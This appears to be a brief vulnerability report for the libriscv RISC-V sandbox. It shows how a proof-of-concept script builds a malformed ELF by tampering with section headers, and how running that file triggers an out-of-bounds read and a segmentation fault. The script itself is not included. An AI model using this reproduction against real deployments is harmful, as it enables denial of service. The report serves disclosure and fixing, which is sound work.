A vulnerability in Libriscv allows the attacker to crash the sandbox using an Out of Bounds Read.

To create Bad elf:

python3 poc.py samplefile poisoned_file

Results:

❯ python3 poc.py fib poisoned_file
Manipulating .text section header at offset 0x250
Manipulating .symtab section header at offset 0x710
❯ ./rvlinux poisoned_file 
fish: Job 1, './rvlinux poisoned_file' terminated by signal SIGSEGV (Address boundary error)